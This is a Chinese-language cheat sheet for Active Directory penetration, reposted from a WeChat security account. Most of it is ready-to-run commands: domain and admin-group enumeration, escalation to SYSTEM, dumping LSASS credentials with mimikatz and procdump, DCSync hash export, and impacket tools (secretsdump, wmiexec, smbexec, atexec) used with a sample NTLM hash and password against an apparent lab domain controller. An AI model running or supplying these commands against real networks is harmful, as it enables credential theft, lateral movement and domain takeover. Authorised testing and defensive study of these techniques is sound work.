1. 判断当前所在域
ipconfig /all # 查看本机ip,所在域
net config workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
推荐使用net config workstation
:
管理员提权到system权限
域内用户信息查询等操作,只有system权限用户
和域用户
才有权限执行。
1. 使用psexec提权到system权限
参考链接:win10获取SYSTEM账户登录
psexec -accepteula -s cmd
-accepteula 不会弹出证书信息等(即使是初次使用)
2. 通过sc创建服务提权
参考链接:https://zhidao.baidu.com/question/2079093151117754388.html
# 注意下面的等号后面有空格
sc Create SuperCMD binpath= "cmd /K start" type= own type= interact
# 若显示GreatService成功,键入以下命令:
sc start SuperCMD
或者
net start SuperCMD
若弹出此窗口,选择查看消息,就进入system权限的终端:
2. 查看域信任关系
nltest /domain_trusts
3. 查看本机/域用户列表
net user
net user /domain
这里就可以看到域控主机的机器名字了。
4. 确定域控主机名称及IP
net user /domain
看上图,可以看到域内所有用户列表,即域控主机的用户账户。
net time /domain
nslookup或者ping可解析IP:
net group "Domain Controllers" /domain
5. 查看域里面的工作组,把用户分成了哪些组
net group /domain
6. 查看域管用户名字
实际就是查看域中Domain Admins
组
net group "Domain Admins" /domain
7. 查看域中其他主机名
net group "Domain Computers" /domain
8. 抓取本机密码Hash
详情查看文章【mimikatz 基本使用】
mimikatz抓取密码
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt
procdump + mimikatz导出密码
管理员运行工具,导出为lsass.dump文件:
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
将lsass.dmp放在mimikatz同一目录,读取密码文件:
# 保存到文件
log 单独执行log
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full
9. 利用DCSync导出域内hash
DCSync介绍
在域环境中,不同域控制器(DC)之间,每 15 分钟都会有一次域数据的同步。当一个域控制器(DC 1)想从其他域控制器(DC 2)获取数据时,DC 1 会向 DC 2 发起一个 GetNCChanges 请求,该请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。DCSync 就是利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口向域控发起数据同步请求。
DCSync 是域渗透中经常会用到的技术,其被整合在了 Mimikatz 中。在 DCSync 功能出现之前,要想获得域用户的哈希,需要登录域控制器,在域控制器上执行代码才能获得域用户的哈希。
2015 年 8 月,Benjamin Delpy(神器 Mimikatz 的作者)和 Vincent Le Toux 发布了新版本的 Mimikatz,新增加了 DCSync 功能。该功能可以模仿一个域控制器,从真实的域控制器中请求数据,例如用户的哈希。该功能最大的特点就是不用登陆域控制器,即可远程通过域数据同步复制的方式获得域控制器上的的数据。
lsadump::dcsync /domain:god.org /all /csv
#导出指定用户
lsadump::dcsync /domain:god.org /user:administrator /csv
该命令不用在域控机器上执行,可以在域内任意主机上导出密码,登录的用户需要如下权限:
-
Administrators组内的用户
-
Domain Admins组内的用户
-
Enterprise Admins组内的用户
-
域控制器的计算机帐户
godliukaifeng01
用户在Administrators组
,可以使用dcsync导出所有hash:
其中以$
字符结尾的为计算机帐户。
域内主机(非域控机子)本机system权限无法成功:
将godliukaifeng01
用户移出Administrators组
:
python3 secretsdump.py
该工具的原理是首先使用提供的用户登录凭据通过 smbexec 或者 wmiexec 远程连接至域控制器并获得高权限,进而从注册表中导出本地帐户的哈希,同时通过 Dcsync 或从 NTDS.dit 文件中导出所有域用户的哈希。其最大的优点是支持从域外的计算机连接至域控制器。
# 导出所有用户hash,包括机器账号
# -just-dc-ntlm 参数就是只导出ntlm类型的hash
python3 secretsdump.py -hashes :3739eb6c444ba347768979d644a71589 -just-dc-ntlm god/[email protected]
# 使用密码获取所有域用户哈希, 包括机器用户
# 这里没使用-just-dc-ntlm参数,就会导出各种类型hash
python3 secretsdump.py "god/administrator":"hongrisec@2021@"@192.168.52.138
# -just-dc-user 参数获取指定用户hash
python3 secretsdump.py "god/administrator":"hongrisec@2021@"@192.168.52.138 -just-dc-user liukaifeng01
10. impacket工具中的常用脚本
smbclient.py进行文件操作
python3 smbclient.py -hashes :3739eb6c444ba347768979d644a71589 god/[email protected]
使用域账号god/administrator
及其ntlm-hash连接到192.168.52.138
,进行文件操作。
shares - list available shares
use {sharename} - connect to an specific share
ls {wildcard} - lists all the files in the current directory
put {filename} - uploads the filename into the current path
get {filename} - downloads the filename from the current path
python3 smbclient.py god/administrator:"hongrisec@2021@"@192.168.52.138
wmiexec.py命令执行
python3 wmiexec.py -hashes :3739eb6c444ba347768979d644a71589 god/[email protected]
有时候需要使用32个0填充lm-hash
python3 wmiexec.py -hashes 00000000000000000000000000000000:3739eb6c444ba347768979d644a71589 god/[email protected]
python3 wmiexec.py god/administrator:"hongrisec@2021@"@192.168.52.138
smbexec.py命令执行
需要共享开放
python3 smbexec.py -hashes :3739eb6c444ba347768979d644a71589 god/[email protected]
python3 smbexec.py god/administrator:"hongrisec@2021@"@192.168.52.138
atexec.py无回显命令执行
python3 atexec.py -hashes :3739eb6c444ba347768979d644a71589 god/[email protected]
net view
NET VIEW命令 用于显示一个计算机上共享资源的列表。当不带选项使用本命令时,它就会显示当前域或工作组中计算机的列表。
# 查看域管
net group "domain admins" /domain
# 获得企业管理员列表
net group "enterprise admins" /domain
# 获得域控列表
net group "domain controllers" /domain
# 获得所有域用户列表
net user /domain > C:WindowsTempuser.txt
# 获得所有域成员计算机列表
net group "domain computers" /domain > C:WindowsTempcom.txt
# 获取所有的组,这一步其实是非常重要的,因为专业运维都会分组,并且命名规范,所以如果想要精确打击目标,比如财务、hr、管理员组,就可以直奔目标而去
net group /domain > C:WindowsTempgroup.txt
# 获取域信任信息
nltest /domain_trusts
# 查询域所有spn,也可以查到dc及其主机名,这个命令在搜集计算机分组上也很有用
setspn -T target.com -Q */* > C:WindowsTempspn.txt
# nslookup 查询该域所有域控及对应主机名 为CVE-2020-1472 ZeroLogon做准备
nslookup -type=all _ldap._tcp.dc._msdcs.test.com
_ldap._tcp.dc._msdcs.test.com SRV service loc
priority = 0
weight = 100
port = 389
svr hostname = dc.test.com
dc.test.com internet address = 1.1.1.1
# 一般来讲,域内DNS跟域控会在一起,所以可以通过nslookup获取dns服务器,不过具有局限性,因为域内通常有多个域控服务器
nslookup google.com
参考链接
https://www.freebuf.com/articles/network/264560.html
https://www.modb.pro/db/108846
https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-DCSync
原文始发于微信公众号(信安文摘):【域渗透】- 域内基本信息查询及操作
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论